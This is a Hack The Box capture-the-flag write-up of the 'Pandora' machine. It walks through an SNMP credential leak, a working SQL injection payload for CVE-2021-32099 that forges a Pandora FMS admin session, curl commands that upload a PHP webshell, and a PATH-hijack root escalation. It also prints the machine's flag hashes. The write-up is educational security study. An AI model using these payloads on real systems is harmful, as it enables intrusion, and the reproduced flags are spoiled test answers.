root@thehacksparrow:~/writeups$ SYSTEM ONLINE
root@sparrow:~/writeups$ cat pandora.md
// writeups

Pandora

8 Jan 2022 · 24 min read
Pandora - maquina de Hack The Box

Executive summary — Pandora punishes lazy recon: the public web server on port 80 is an untouched Bootstrap template, a total decoy. The real vector sits on 161/UDP, where SNMP with the default community public leaks, through hrSWRunParameters, the full command line of a running process — credentials included. From there, a reused SSH login leads to an internal vhost bound to localhost running Pandora FMS 7.0NG.742, vulnerable to CVE-2021-32099 (a pre-authenticated SQL injection that forges an admin session). With that session, the panel's file manager uploads a webshell with no extension filter at all, and a SUID backup binary with a relative-path system() call — plus a setreuid() with swapped arguments — closes the chain with root.

PlatformHack The Box
Operating systemLinux (Ubuntu 20.04 LTS "Focal Fossa")
DifficultyEasy
StatusRetired
Target IP10.129.59.207

Attack map

[161/UDP] SNMP community "public" — hrSWRunParameters exposes process argv
   │  cleartext leak: daniel:HotelBabylon23
   ▼
[22] SSH — daniel (uid 1001)
   │  /etc/apache2/sites-enabled/pandora.conf: vhost pandora.panda.htb
   │  bound to localhost:80, PHP runs as matt (AssignUserID)
   ▼
[SSH -L 8000:127.0.0.1:80]  tunnel into the internal vhost
   │  Pandora FMS 7.0NG.742 — CVE-2021-32099
   │  SQLi in chart_generator.php -> session_decode() -> forged admin $_SESSION
   ▼
[RCE]  admin file manager uploads a .php webshell, no extension filter
   │
   ▼
[www]  uid=1000(matt)  ⇒ user.txt
   │  SUID /usr/bin/pandora_backup -> system("tar ...") with no absolute path
   │  PATH hijack + setreuid(0,1000) with swapped arguments -> ruid=0
   ▼
[ROOT]  bash without -p does setuid(getuid())=setuid(0) -> euid=0  ⇒ root.txt

1. Reconnaissance

ping -c 2 -W 3 10.129.59.207
PING 10.129.59.207 (10.129.59.207) 56(84) bytes of data.
64 bytes from 10.129.59.207: icmp_seq=1 ttl=63 time=37.1 ms
64 bytes from 10.129.59.207: icmp_seq=2 ttl=63 time=36.6 ms

A ttl=63 is an initial 64 (Linux/BSD) minus the single VPN hop of HTB: the target is Linux before a single scan runs, which already narrows down wordlists and escalation techniques worth prioritizing.

sudo nmap -p- --min-rate 3000 -T4 -Pn -oN scans/allports.txt 10.129.59.207
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

closed (reset) on the remaining 65,533 ports means nothing is filtering: the TCP surface is genuinely exhausted with just those two ports. If the vector isn't there, it isn't in TCP at all.

sudo nmap -p22,80 -sCV -oN scans/services.txt 10.129.59.207
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Play | Landing

OpenSSH 8.2p1 + Apache 2.4.41 pins Ubuntu 20.04 LTS. Neither version has a known pre-auth RCE, so the path runs through content, not server software. The page's <head> confirms the suspicion: it's UIdeck's free "Play" template, with not a single dynamic file. A feroxbuster pass with several wordlists (directories, extensions php,html,txt) and a vhost fuzz against *.htb both come back empty — only the template's static assets.

With TCP exhausted, UDP is next — the step a plain nmap never covers, since it needs explicit -sU:

sudo nmap -sU --top-ports 100 -T4 -Pn -oN scans/udp.txt 10.129.59.207
Not shown: 58 closed udp ports (port-unreach), 41 open|filtered udp ports (no-response)
PORT    STATE SERVICE
161/udp open  snmp

161/udp answers unambiguously (unlike the 41 open|filtered ports, reached by elimination): there's an SNMP daemon listening, and that's the real entry vector.

2. Initial exploitation — SNMP leaks daniel's credentials

onesixtyone -c /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt 10.129.59.207 -w 100
10.129.59.207 [public] Linux pandora 5.4.0-91-generic #102-Ubuntu SMP Fri Nov 5 16:31:28 UTC 2021 x86_64

The default community public works. The system branch adds more context:

snmpwalk -v2c -c public -t 3 -r 1 10.129.59.207 1.3.6.1.2.1.1
iso.3.6.1.2.1.1.4.0 = STRING: "Daniel"
iso.3.6.1.2.1.1.5.0 = STRING: "pandora"

sysContact hands over a candidate username (Daniel), and the hostname pandora points straight at Pandora FMS, a monitoring suite with a track record of CVEs — the machine's thematic hint.

The real find lives in HOST-RESOURCES-MIB::hrSWRunParameters (1.3.6.1.2.1.25.4.2.1.5): for every running process, SNMP publishes its command-line arguments. On Linux, /proc/<pid>/cmdline is world-readable (0444) — that's why ps aux shows other users' -p password. snmpd simply republishes that same information, but over the network, unauthenticated. Two independent flaws that together are a full compromise: a password on argv (CWE-214) + SNMP with a default community and no view restrictions (CWE-1188).

snmpwalk -v2c -c public -t 5 -r 1 10.129.59.207 1.3.6.1.2.1.25.4.2.1.5 | grep -viE '= STRING: ""'
iso.3.6.1.2.1.25.4.2.1.5.1006 = STRING: "-c sleep 30; /bin/bash -c '/usr/bin/host_check -u daniel -p HotelBabylon23'"
iso.3.6.1.2.1.25.4.2.1.5.1133 = STRING: "-u daniel -p HotelBabylon23"

Cleartext credentials for daniel. /usr/bin/host_check is an agent checker relaunched periodically, guaranteeing the password stays visible in the process table.

sshpass -p 'HotelBabylon23' ssh -o StrictHostKeyChecking=no daniel@10.129.59.207 'id; hostname; ls -la /home'
uid=1001(daniel) gid=1001(daniel) groups=1001(daniel)
pandora
drwxr-xr-x  4 daniel daniel 4096 Sep 17 14:47 daniel
drwxr-xr-x  2 matt   matt   4096 Dec  7  2021 matt

The SNMP credentials are reused verbatim over SSH. daniel has no user.txt: there's a second user, matt, and that's where the next pivot points.

3. Internal vhost and tunnel into Pandora FMS

ss -tlnp
LISTEN   0        80             127.0.0.1:3306          0.0.0.0:*
LISTEN   0        511                    *:80                  *:*

MySQL only listens locally. Apache exposes *:80, but the real per-vhost split lives in the configuration:

cat /etc/apache2/sites-enabled/pandora.conf
<VirtualHost localhost:80>
  ServerName pandora.panda.htb
  DocumentRoot /var/www/pandora
  AssignUserID matt matt
  <Directory /var/www/pandora>
    AllowOverride All
  </Directory>
</VirtualHost>

Three directives, three consequences. VirtualHost localhost:80 explains why phase 1's vhost fuzzing found nothing: the vhost only matches requests arriving over loopback, no matter which Host: header is sent — a negative vhost-fuzzing result doesn't rule out vhosts existing, only that they're reachable over that interface. AssignUserID matt matt (MPM-ITK module) makes this vhost's PHP run as matt, not www-data: the single most profitable design flaw in the box, since it turns any web RCE into direct access to a real system account. AllowOverride All enables .htaccess, an alternative persistence path that wasn't needed here.

sshpass -p 'HotelBabylon23' ssh -o StrictHostKeyChecking=no -o ExitOnForwardFailure=yes -f -N -L 8000:127.0.0.1:80 daniel@10.129.59.207
curl -s -i -H "Host: pandora.panda.htb" http://127.0.0.1:8000/
HTTP/1.1 200 OK
<meta HTTP-EQUIV="REFRESH" content="0; url=/pandora_console/">

The port forward makes the server's own sshd open the final connection to 127.0.0.1:80, entering Apache over the loopback interface the vhost requires. The Host: header is still mandatory: Apache needs both conditions at once.

curl -s -H "Host: pandora.panda.htb" http://127.0.0.1:8000/pandora_console/ | grep -oiE 'v7\.0[^<"&]*'
v7.0NG.742_FIX_PERL2020

Confirmed from the source itself with daniel's access: $build_version = 'PC200103'. The _FIX_PERL2020 suffix patches the Perl agent, not the SQLi that's still open in this build.

4. CVE-2021-32099 — administrator session hijacking

The source was audited on the server rather than firing an exploit blindly. The entry point, reachable without authentication:

grep -n "session_id" /var/www/pandora/pandora_console/include/chart_generator.php
72:$user = new PandoraFMS\User(['phpsessionid' => $_REQUEST['session_id']]);

chart_generator.php is meant to be invoked by PhantomJS to render charts for PDF reports; since the headless browser can't share cookies with the user's session, the original design passes the session identifier as a URL parameter. That architectural decision is the root of the problem — it turns a trusted value (session data) into attacker-controlled input, and the code below keeps treating it as the former.

grep -n "phpsessionid" -A 15 /var/www/pandora/pandora_console/include/lib/User.php
if (isset($data['phpsessionid']) === true) {
    $info = \db_get_row_filter(
        'tsessions_php',
        ['id_session' => $data['phpsessionid']]
    );
    if ($info !== false) {
        $session_data = session_decode($info['data']);
        $this->idUser = $_SESSION['id_usuario'];
        return $this;
    }
}

Two chained vulnerabilities. (a) db_get_row_filter() builds the WHERE clause by concatenation, with no prepared statements: classic SQLi (CWE-89). (b) the data field of the row returned by the query gets passed to session_decode(), which directly populates the $_SESSION superglobal (CWE-502). This is what elevates the bug from "data leak" to "full authentication bypass": a UNION SELECT fabricates a row that never existed, whose data is whatever serialized session we choose. No password, no hash needed: the session is invented out of thin air.

grep -A 4 "CREATE TABLE IF NOT EXISTS `tsessions_php`" /var/www/pandora/pandora_console/pandoradb.sql
`id_session` CHAR(52) NOT NULL,
`last_active` INTEGER NOT NULL,
`data` TEXT,

Three columns — the UNION SELECT must project exactly three values. PHP's session format is name|serialized_value;; for $_SESSION['id_usuario'] = "admin":

id_usuario|s:5:"admin";

The 5 must exactly match strlen("admin") — a mismatch makes session_decode() fail silently and the exploit "doesn't work" with no visible error. Final payload:

' UNION SELECT 'x', 1, 'id_usuario|s:5:"admin";' -- -

First attempt, and why it failed: a self-chosen identifier (pwnsess123) was set in the session_id parameter and then reused as the PHPSESSID cookie. The panel kept showing the login page. The mistake: the URL parameter only feeds the vulnerable SQL query; the real PHP session is created by session_start() on the server itself, with its own random identifier. The correct cookie is the one the server already returns in that same response — persisted in tsessions_php with id_usuario=admin already inside.

ENC=$(python3 -c "import urllib.parse,sys;print(urllib.parse.quote(sys.argv[1]))" \
  "' UNION SELECT 'x',1,'id_usuario|s:5:\"admin\";' -- -")

curl -s -i -c cj.txt -H "Host: pandora.panda.htb" \
  "http://127.0.0.1:8000/pandora_console/include/chart_generator.php?session_id=$ENC" | grep -i set-cookie
Set-Cookie: PHPSESSID=sl7ti0depp63cnchlptnas3ua8; path=/
curl -s -H "Host: pandora.panda.htb" -b "PHPSESSID=sl7ti0depp63cnchlptnas3ua8" \
  "http://127.0.0.1:8000/pandora_console/index.php?sec=gsetup&sec2=godmode/setup/setup" \
  -w "HTTP %{http_code} size %{size_download}\n"
HTTP 200 size 120333

120,333 bytes versus the login page's 14,014, with the header block showing (admin) and logout links: administrator session confirmed without touching a single password. Both cases return 200 OK — response size distinguishes authenticated from unauthenticated far better than the HTTP status code here.

5. From admin to RCE — the file manager

grep -n 'decompress\|extension\|php' /var/www/pandora/pandora_console/include/functions_filemanager.php
// Notice that uploaded php files could be dangerous
if (pathinfo($fileinfo['realpath'], PATHINFO_EXTENSION) == 'php')
    // ... only prints a UI warning, doesn't block the upload

No extension blacklist at all: the code's own comment acknowledges the risk and still allows the upload (CWE-434). The only control is a homemade MAC, hash = md5(real_directory . relative_directory . dbpass) — weak by design (md5(secret‖data) instead of HMAC) and, more practically, forgeable: the "secret" is $config['dbpass'], readable with daniel's access.

grep -E 'dbuser|dbpass' /var/www/pandora/pandora_console/include/config.php
$config["dbuser"]="pandora";
$config["dbpass"]="PandoraFMSSecurePass2021";

With the DB password, the hashes the upload form expects can be recomputed and confirmed for the images/ directory — writable and servable, and owned by matt per section 3's AssignUserID:

curl -H "Host: pandora.panda.htb" -b "PHPSESSID=sl7ti0depp63cnchlptnas3ua8" \
  -F "file=@sh.php;filename=sh.php" -F "decompress_sent=1" \
  -F "real_directory=/var/www/pandora/pandora_console/images" -F "directory=images" \
  -F "hash=6427eed956c3b836eb0644629a183a9b" \
  -F "hash2=594175347dddf7a54cc03f6c6d0f04b4" -F "upload_file_or_zip=1" \
  "http://127.0.0.1:8000/pandora_console/index.php?sec=gsetup&sec2=godmode/setup/file_manager"

curl -s -H "Host: pandora.panda.htb" "http://127.0.0.1:8000/pandora_console/images/sh.php?c=id"
OK:uid=1000(matt) gid=1000(matt) groups=1000(matt)

RCE as matt, exactly the user the AssignUserID promised. The webshell is served with no cookie required at all: reachable by anyone hitting the vhost, hence the need to clean it up afterward.

curl -s -H "Host: pandora.panda.htb" --get --data-urlencode "c=cat /home/matt/user.txt" \
  "http://127.0.0.1:8000/pandora_console/images/sh.php"
OK:803105f16a44c0d248f3615f9baf0619

user.txt: 803105f16a44c0d248f3615f9baf0619 (permissions -rw-r----- root:matt — why daniel couldn't read it). To work comfortably during escalation (controlling PATH, running commands without re-negotiating the webshell every time) a personal SSH key was installed for matt, carefully setting chmod 700 .ssh and chmod 600 authorized_keys — sshd silently rejects a key if the permissions are too open (StrictModes yes).

6. Privilege escalation — PATH hijacking in pandora_backup

find /usr/bin /usr/sbin /bin /sbin /usr/local -perm -4000 -type f 2>/dev/null
/usr/bin/sudo
/usr/bin/pkexec
/usr/bin/pandora_backup      ◄── NOT STANDARD
/usr/bin/passwd
/usr/bin/su

Scoping the search to the usual directories avoids timing out a full find / over SSH. Among the usual SUID binaries, /usr/bin/pandora_backup stands out (-rwsr-x--- root matt: only matt can run it, confirming the daniel → matt pivot was mandatory, not just convenient). pkexec is also present, and this Ubuntu build is vulnerable to PwnKit (CVE-2021-4034) — a valid alternative path to root, skipped here for being generic and unrelated to the box's intended design; the built-in binary is the intended route.

strings /usr/bin/pandora_backup
setreuid
system
getuid
geteuid
tar -cvf /root/.backup/pandora-backup.tar.gz /var/www/pandora/pandora_console/*

tar is invoked with no absolute path, alongside system() and setreuid(): the pattern is unmistakable. Disassembling main confirms the exact order of the call:

call   getuid@plt      ; ebx = getuid()  = 1000
call   geteuid@plt     ; eax = geteuid() = 0
mov    esi,ebx         ; arg2 (euid) = 1000
mov    edi,eax         ; arg1 (ruid) = 0
call   setreuid@plt    ; setreuid(0, 1000)
...
call   system@plt      ; system("tar -cvf /root/.backup/... ")

The reconstructed source amounts to setreuid(geteuid(), getuid()). The developer almost certainly meant setreuid(getuid(), geteuid()) — the usual pattern for dropping privileges — and swapped the arguments. The actual effect is setreuid(0, 1000): the ruid becomes 0 (root) and the euid becomes 1000 (matt) — exactly the opposite of what was intended (CWE-273 / CWE-696).

The part that makes the exploit work: bash, when started without -p, runs setuid(getuid()) to "drop" inherited privileges and avoid being abused as an escalation vector in SUID binaries. Here that mechanism backfires — getuid() returns 0 (the ruid, now root), and setuid(0) with euid != 0 is permitted because the requested uid matches the process's ruid: the shell spawned inside the backup ends up with euid=0. Running bash -p here would actually be counterproductive: -p tells bash NOT to do that setuid(), leaving the shell at euid=1000.

mkdir -p /tmp/.x
printf '#!/bin/bash\n/bin/bash\n' > /tmp/.x/tar
chmod 755 /tmp/.x/tar
export PATH=/tmp/.x:$PATH
echo 'id -a; cat /root/root.txt' | /usr/bin/pandora_backup
uid=0(root) gid=1000(matt) groups=1000(matt)
49cc3494e24c2d3fa18d739097723e3f
PandoraFMS Backup Utility
Backup successful!

/tmp/.x/tar, placed at the front of PATH, wins the resolution of system("tar ...") over /usr/bin/tar. Since there's no TTY (commands run over non-interactive SSH), commands are piped through stdin into the bash spawned inside the backup — reproducible without negotiating a pseudo-terminal. The gid stays matt (setreuid() doesn't touch GIDs), but it's irrelevant: uid=0 bypasses any file permission check.

root.txt: 49cc3494e24c2d3fa18d739097723e3f. As a final good practice, planted artifacts were removed: the webshell, the /tmp/.x directory and matt's SSH key — leaving the logs untouched, since in an authorized engagement they're the trace that validates the client's detection capabilities.

Vulnerability summary

PhaseComponentVulnerabilityImpact
Recon / initial leaksnmpd (community public)Unrestricted SNMP views expose hrSWRunParameters (process argv)daniel's credentials in cleartext (CWE-1188 / CWE-214)
Lateral movementSSH / pandora.confCredential reuse + vhost running as a real system user (AssignUserID)Interactive access with widened blast radius (CWE-262 / CWE-250)
Web exploitationchart_generator.php → User.phpUnauthenticated SQLi (CVE-2021-32099) + deserialization into $_SESSIONFull administrator session hijack (CWE-89 / CWE-502)
RCEgodmode/setup/file_managerFile upload with no extension whitelist; forgeable homemade MACCode execution as matt (user.txt) (CWE-434 / CWE-327)
PrivEsc/usr/bin/pandora_backup (SUID)Relative-path system() + setreuid() with swapped argumentsPATH hijacking to root (root.txt) (CWE-426 / CWE-273)

Lessons learned

  • UDP scanning (nmap -sU) should run in parallel with TCP from minute zero, not after exhausting the TCP surface: the real vector here lived on 161/udp, and losing sight of it wasted an entire phase fuzzing a static web template.
  • SNMP with a default community turns information that's theoretically "local only" (/proc/<pid>/cmdline) into a remote, pre-authenticated leak via hrSWRunParameters — never pass secrets as command-line arguments, and always restrict SNMP views.
  • A negative vhost-fuzzing result doesn't rule out vhosts existing: a <VirtualHost localhost:80> is only reachable from the server itself, and no wordlist entry changes that from the outside.
  • Apache MPM-ITK's AssignUserID should always point to a dedicated service account, never a real system account with a $HOME and a shell — that's what turns a web RCE into direct access to the user flag.
  • When attacking an admin panel, response size distinguishes authenticated from unauthenticated far better than the HTTP status code — a 200 OK with the login form is the most common false positive when verifying a bypass.
  • A SUID binary that invokes an external command by relative name inside system() is always vulnerable to PATH hijacking; the only solid fix is execve() with an absolute path and a sanitized environment, never an intermediate shell.
  • Swapping the arguments of a privilege-dropping call (setreuid/setuid) can silently turn "drop privileges" into an escalation — and bash's own safety mechanism (setuid(getuid()) when started without -p) is exactly what triggers it.